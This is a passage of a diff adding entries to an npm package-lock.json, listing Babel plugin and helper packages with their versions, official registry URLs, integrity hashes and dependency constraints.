+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+ "dev": true,
+ "dependencies": {
+ "color-convert": "^1.9.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/@babel/highlight/node_modules/chalk": {
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+ "dev": true,
+ "dependencies": {
+ "ansi-styles": "^3.2.1",
+ "escape-string-regexp": "^1.0.5",
+ "supports-color": "^5.3.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/@babel/highlight/node_modules/color-convert": {
+ "version": "1.9.3",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
+ "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+ "dev": true,
+ "dependencies": {
+ "color-name": "1.1.3"
+ }
+ },
+ "node_modules/@babel/highlight/node_modules/color-name": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
+ "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
+ "dev": true
+ },
+ "node_modules/@babel/highlight/node_modules/escape-string-regexp": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+ "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.8.0"
+ }
+ },
+ "node_modules/@babel/highlight/node_modules/has-flag": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+ "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/@babel/highlight/node_modules/supports-color": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/@babel/parser": {
+ "version": "7.22.7",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.7.tgz",
+ "integrity": "sha512-7NF8pOkHP5o2vpmGgNGcfAeCvOYhGLyA3Z4eBQkT1RJlWu47n63bCs93QfJ2hIAFCil7L5P2IWhs1oToVgrL0Q==",
+ "dev": true,
+ "bin": {
+ "parser": "bin/babel-parser.js"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.5.tgz",
+ "integrity": "sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
+ "@babel/plugin-transform-optional-chaining": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.13.0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-async-generator-functions": {
+ "version": "7.20.7",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.20.7.tgz",
+ "integrity": "sha512-xMbiLsn/8RK7Wq7VeVytytS2L6qE69bXPB10YCmMdDZbKF4okCqY74pI/jJQ/8U0b/F6NrT2+14b8/P9/3AMGA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-environment-visitor": "^7.18.9",
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/helper-remap-async-to-generator": "^7.18.9",
+ "@babel/plugin-syntax-async-generators": "^7.8.4"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-class-properties": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz",
+ "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-create-class-features-plugin": "^7.18.6",
+ "@babel/helper-plugin-utils": "^7.18.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-class-static-block": {
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.21.0.tgz",
+ "integrity": "sha512-XP5G9MWNUskFuP30IfFSEFB0Z6HzLIUcjYM4bYOPHXl7eiJ9HFv8tWj6TXTN5QODiEhDZAeI4hLok2iHFFV4hw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-create-class-features-plugin": "^7.21.0",
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/plugin-syntax-class-static-block": "^7.14.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.12.0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-dynamic-import": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz",
+ "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-dynamic-import": "^7.8.3"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-export-namespace-from": {
+ "version": "7.18.9",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz",
+ "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.18.9",
+ "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-json-strings": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz",
+ "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-json-strings": "^7.8.3"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-logical-assignment-operators": {
+ "version": "7.20.7",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.20.7.tgz",
+ "integrity": "sha512-y7C7cZgpMIjWlKE5T7eJwp+tnRYM89HmRvWM5EQuB5BoHEONjmQ8lSNmBUwOyy/GFRsohJED51YBF79hE1djug==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz",
+ "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-numeric-separator": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz",
+ "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-numeric-separator": "^7.10.4"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-object-rest-spread": {
+ "version": "7.20.7",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.20.7.tgz",
+ "integrity": "sha512-d2S98yCiLxDVmBmE8UjGcfPvNEUbA1U5q5WxaWFUGRzJSVAZqm5W6MbPct0jxnegUZ0niLeNX+IOzEs7wYg9Dg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/compat-data": "^7.20.5",
+ "@babel/helper-compilation-targets": "^7.20.7",
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+ "@babel/plugin-transform-parameters": "^7.20.7"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-optional-catch-binding": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz",
+ "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-optional-chaining": {
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz",
+ "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0",
+ "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-private-methods": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz",
+ "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-create-class-features-plugin": "^7.18.6",
+ "@babel/helper-plugin-utils": "^7.18.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-private-property-in-object": {
+ "version": "7.21.11",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz",
+ "integrity": "sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-annotate-as-pure": "^7.18.6",
+ "@babel/helper-create-class-features-plugin": "^7.21.0",
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-proposal-unicode-property-regex": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz",
+ "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+ "@babel/helper-plugin-utils": "^7.18.6"
+ },
+ "engines": {
+ "node": ">=4"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-async-generators": {
+ "version": "7.8.4",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
+ "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-class-properties": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
+ "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.12.13"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-class-static-block": {
+ "version": "7.14.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
+ "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.14.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-dynamic-import": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
+ "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-export-namespace-from": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz",
+ "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.8.3"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-json-strings": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
+ "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-logical-assignment-operators": {
+ "version": "7.10.4",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
+ "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.10.4"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
+ "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-numeric-separator": {
+ "version": "7.10.4",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
+ "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.10.4"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-object-rest-spread": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
+ "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-optional-catch-binding": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
+ "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-optional-chaining": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
+ "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-private-property-in-object": {
+ "version": "7.14.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
+ "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.14.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-syntax-top-level-await": {
+ "version": "7.14.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
+ "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.14.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-arrow-functions": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz",
+ "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-async-to-generator": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz",
+ "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-module-imports": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-remap-async-to-generator": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-block-scoped-functions": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz",
+ "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-block-scoping": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.5.tgz",
+ "integrity": "sha512-EcACl1i5fSQ6bt+YGuU/XGCeZKStLmyVGytWkpyhCLeQVA0eu6Wtiw92V+I1T/hnezUv7j74dA/Ro69gWcU+hg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-classes": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.6.tgz",
+ "integrity": "sha512-58EgM6nuPNG6Py4Z3zSuu0xWu2VfodiMi72Jt5Kj2FECmaYk1RrTXA45z6KBFsu9tRgwQDwIiY4FXTt+YsSFAQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-annotate-as-pure": "^7.22.5",
+ "@babel/helper-compilation-targets": "^7.22.6",
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/helper-optimise-call-expression": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-replace-supers": "^7.22.5",
+ "@babel/helper-split-export-declaration": "^7.22.6",
+ "globals": "^11.1.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-computed-properties": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz",
+ "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/template": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-destructuring": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.5.tgz",
+ "integrity": "sha512-GfqcFuGW8vnEqTUBM7UtPd5A4q797LTvvwKxXTgRsFjoqaJiEg9deBG6kWeQYkVEL569NpnmpC0Pkr/8BLKGnQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-dotall-regex": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz",
+ "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-create-regexp-features-plugin": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-duplicate-keys": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz",
